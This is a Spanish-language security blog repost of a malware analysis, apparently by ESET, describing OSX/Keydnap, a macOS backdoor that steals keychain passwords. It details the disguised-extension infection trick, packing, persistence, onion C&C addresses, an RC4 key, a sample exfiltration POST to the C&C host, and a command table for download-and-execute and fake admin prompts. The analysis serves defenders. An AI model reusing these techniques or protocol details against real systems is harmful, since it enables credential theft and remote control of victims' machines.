SOURCE: Noticias de seguridad informática http://noticiasseguridad.com/malware-virus/osxkeydnap-nuevo-malware-hambriento-de-credenciales/
TAGS: JPEG, nuevo malware, OSX/Keydnap
Cada día, ESET analiza varias muestras maliciosas dirigidas a OS X. Estas muestras suelen seraplicaciones potencialmente no deseadas que se inyectan en los navegadores para mostrar avisos publicitarios mientras la víctima navega por la web.
En las últimas semanas, estuvimos investigando un caso interesante en el que el objetivo del malware es robar el contenido de las llaves de Mac OS X para mantener un backdoorpermanente. En el presente artículo, se describen los componentes de esta amenaza y lo que sabemos sobre ella hasta el momento.
Vector de infección
Todavía no se conoce la forma en que las víctimas se exponen inicialmente a OSX/Keydnap. Podría ser como consecuencia de archivos adjuntos en mensajes de spam o por descargas realizadas desde sitios no confiables, entre otros vectores de infección.
Lo que sabemos es que hay un componente de tipo downloader que se distribuye en un archivo .zip. El archivo comprimido contiene un ejecutable en formato Mach-O con una extensión que no parece ser maliciosa, como .txt o .jpg. Sin embargo, la extensión de archivo en realidad contiene un carácter de espacio al final, lo que significa que, al hacer doble clic en el archivo con Finder, se ejecutará con Terminal y no con Preview o TextEdit.
El archivo ZIP también contiene una bifurcación de recursos con el ícono del archivo ejecutable. Imita el ícono que suele utilizar Finder con los archivos JPEG o los archivos de texto, para aumentar la probabilidad de que el destinatario haga doble clic en él. De ser así, se abre una ventana de Terminal y se ejecuta el payload malicioso.
Downloader de OSX/Keydnap
El downloader es un archivo ejecutable sin firmar con formato Mach-O. Por lo tanto, si el archivo se descarga desde un navegador de Internet y el controlador de acceso Gatekeeper está activado en la máquina (que es la configuración predeterminada en las últimas versiones de OS X y MacOS), no se ejecutará y le mostrará una advertencia al usuario.
El downloader de Keydnap es muy sencillo. Se encargará de:
- Descargar y ejecutar el componente backdoor.
- Reemplazar el contenido ejecutable del downloader Mach-O por un archivo señuelo, ya sea uno incrustado codificado en Base64, o uno descargado desde Internet.
- Abrir el documento señuelo (se describe más abajo).
- Cerrar la ventana de Terminal que se acaba de abrir.
El documento señuelo reemplaza el archivo downloader Mach-O, es decir que el ejecutable malicioso ahora solo está presente en el archivo ZIP. El downloader no es persistente. No obstante, el archivo backdoor descargado agrega una entrada en el directorio LaunchAgentspara sobrevivir al reinicio del sistema. Se describe con más detalle en la sección sobre el backdoor.
Hemos encontrado muchas variantes del ejecutable downloader. La lista de las distintas muestras aparece al final del artículo.
Cabe notar que algunas muestras recientes tenían incrustados archivos señuelo que son capturas de pantalla de paneles de C&C de botnets o sitios donde se recopilan números de tarjetas de crédito. ¿Esto podría sugerir que Keydnap está dirigido a usuarios de foros del mercado negro o tal vez a los investigadores de seguridad? En las últimas variantes también se incluye un “nombre de compilación”. Encontramos tres nombres diferentes hasta ahora:elitef*ck, ccshop y transmission.
Backdoor de OSX/Keydnap
Todas las muestras del backdoor que encontramos tienen el nombre de archivo icloudsyncd. El malware tiene un número de versión que se notifica al servidor de C&C. Hasta ahora, hemos visto dos versiones: 1.3.1 (detectada por primera vez en mayo) y 1.3.5 (detectada en junio).
Ofuscación
Aunque el módulo downloader no está empaquetado, el backdoor sí está empaquetado con una versión modificada de UPX. Se le hicieron dos modificaciones a la versión de UPX 3.91:
- Los “bytes mágicos” UPX! en el encabezado de UPX se reemplazaron por ASS7,
- Las secciones de código y cadenas de texto descomprimidas están codificadas con XOR 0x01. A medida que se va descomprimiendo a sí mismo, aplica la codificación XOR después de la descompresión y antes de llamar la función principal del binario original.
En el repositorio de ESET para investigación de malware en Github hay un parche disponible para UPX que permite desempaquetar el backdoor de Keydnap con el upx -d normal.
Persistencia
Cuando se inicia, el backdoor de Keydnap instala un archivo plist en/Library/LaunchAgents/ si cuenta con privilegios de root o, de lo contrario, en$USER/Library/LaunchAgents/ para lograr ser persistente tras los reinicios del sistema. El directorio Library/Application Support/com.apple.iCloud.sync.daemon se usa para el archivo ejecutable icloudsyncd.
Este directorio también contendrá el ID del proceso del malware activo en process.id y un nombre de compilación o “build name” (como lo llama el autor en inglés) en build.id. Si cuenta con privilegios de administrador, también cambiará icloudsyncd a root:admin y le asignará al ejecutable los bits setuid y setgid, es decir que este archivo siempre se ejecutará como root en el futuro.
Para camuflar la ubicación del archivo malicioso, Keydnap reemplaza argv[0] por/usr/libexec/icloudsyncd –launchd netlogon.bundle. Éste es un ejemplo del resultado de ps ax en un sistema infectado:
$ ps ax
[...]
566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle
[...]
Imagen 8: Resultado de ps ax en un sistema infectado
Robo de datos de las llaves de Mac OS X
El backdoor de OSX/Keydnap está equipado con un mecanismo que le permite recopilar yextraer las contraseñas y claves almacenadas en las llaves de Mac OS X. El autor simplemente tomó un ejemplo de prueba de concepto disponible en Github, llamado Keychaindump. Dicho mecanismo lee la memoria de securityd y busca la clave de descifrado correspondiente para las llaves de Mac OS X del usuario. Este proceso se describe en un paper de K. Lee y H. Koo.
Una de las razones por las que creemos que la fuente fue tomada directamente de Github es que los nombres de las funciones en el código fuente son los mismos que los del malware Keydnap.
Comunicación con el servidor de C&C
Keydnap usa el proxy onion.to de Tor2Web por HTTPS para informar a su servidor de C&C. Encontramos dos direcciones onion diferentes en distintas muestras:
- g5wcesdfjzne7255.onion (Inactiva)
- r2elajikcosf7zee.onion (Activa en el momento de redactar este informe)
El recurso HTTP siempre comienza con /api/osx/ y contiene acciones como:
- /api/osx/started para informar que el bot se ha iniciado
- /api/osx/keychain para extraer el contenido de la llave de OS X
- /api/osx/get_task?bot_id=botid&version=version para solicitar una tarea (se explica más abajo)
- /api/osx/cmd_executed para informar el resultado de un comando ejecutado
- /api/osx/task_complete?bot_id=botid&task_id=taskid para informar que se completó una tarea
El contenido de HTTP POST tiene dos campos: bot_id y data. El campo data está cifrado con la clave “u2RLhh+!LGd9p8!ZtuKcN” en RC4 (sin comillas). Al extraer la llave, se usa el campo keychain en vez de data.
POST /api/osx/started HTTP/1.1
Host: r2elajikcosf7zee.onion.to
Accept: */*
Content-Length: 233
Content-Type: application/x-www-form-urlencoded
bot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&data=psX0DKYB0u...5TximyY%2BQY%3D
Imagen 10: Envío de información inicial por el malware
> rc4decrypt(base64decode("psX0DKYB0u...5TximyY+QY="), "u2RLhh+!LGd9p8!ZtuKcN")
device_model=MacBookPro9,2
bot_version=1.3.5
build_name=elitef*ck
os_version=15.5.0
ip_address=4.5.6.7
has_root=0
Imagen 11: Datos decodificados enviados al servidor de C&C
El bot_id se crea mediante la aplicación de funciones hash a los siguientes valores con SHA-256:
- El UUID del hardware (IOPlatformUUID)
- El número de serie del sistema (IOPlatformSerialNumber)
- El identificador del modelo de la Mac (por ej., MacBookPro9,2)
En la mayoría de los casos, las acciones que se llevan a cabo son evidentes y no requieren explicaciones. El comando started enviará la siguiente información al servidor de C&C:
- device_model: el identificador del modelo (por ej., MacBookPro9,2)
- bot_version: versión de Keydnap
- build_name: el “nombre de compilación” provisto por el archivo downloader
- os_version: versión del núcleo de OS X o macOS
- ip_address: dirección IP externa provista por ipify.org
- has_root: es 1 si se ejecuta como raíz; de lo contrario, es 0
Comandos del backdoor
La respuesta a get_task contiene un entero para identificar el tipo de comando y los argumentos opcionales. La función llamada get_and_execute_tasks maneja 10 tipos de comandos diferentes.
ID del comando | Descripción |
0 | Desinstalar Keydnap y salir |
1 | Actualizar el backdoor desde un archivo codificado con Base64 |
2 | Actualizar el backdoor desde una URL suministrada |
3 | Decodificar y ejecutar un archivo codificado con Base64 |
4 | Decodificar y ejecutar un script de Python codificado con Base64 |
5 | Descargar y ejecutar un archivo desde una URL |
6 | Descargar y ejecutar un script de Python desde una URL |
7 | Ejecutar un comando e informar el resultado al servidor de C&C |
8 | Solicitar privilegios de administrador la próxima vez que el usuario ejecute una aplicación |
9 | Decodificar y ejecutar, o detener, un archivo codificado con Base64 llamado authd_service |
Los dos últimos comandos llaman la atención. El comando ID 8 debe enviarse si Keydnap aún no se está ejecutando como root. Al emitir el comando, el backdoor comenzará a monitorear los procesos del usuario. Cuando se creen dos nuevos procesos en un lapso inferior a dos segundos, Keydnap mostrará una ventana pidiendo las credenciales del usuario, exactamente igual a la que vería un usuario de OS X cuando una aplicación requiere privilegios de administrador. Si la víctima cae en la trampa e ingresa sus credenciales, el backdoor de ahora en más se ejecutará como raíz y podrá extraer el contenido de la llave de la víctima.
No sabemos lo que es el ejecutable authd_service administrado por el comando ID 9, porque aún no lo vimos en acción. Podría tratarse de una tercera etapa del malware que solo se despliega en ciertos objetivos específicos de su interés.
Conclusión
Aún hay piezas faltantes para completar este rompecabezas. Hasta el momento, no conocemos cómo se distribuye Keydnap. Tampoco sabemos cuál es la cantidad de víctimas que ya fueron afectadas.
A pesar de que hay varios mecanismos de seguridad presentes en OS X para mitigar el malware, es posible engañar al usuario para que ejecute código malicioso fuera del modo de seguridad sandbox, mediante la sustitución del ícono de un archivo ejecutable de formato Mach-O.
Fuente:http://www.welivesecurity.com/
Noticias de seguridad informática
No comments:
Post a Comment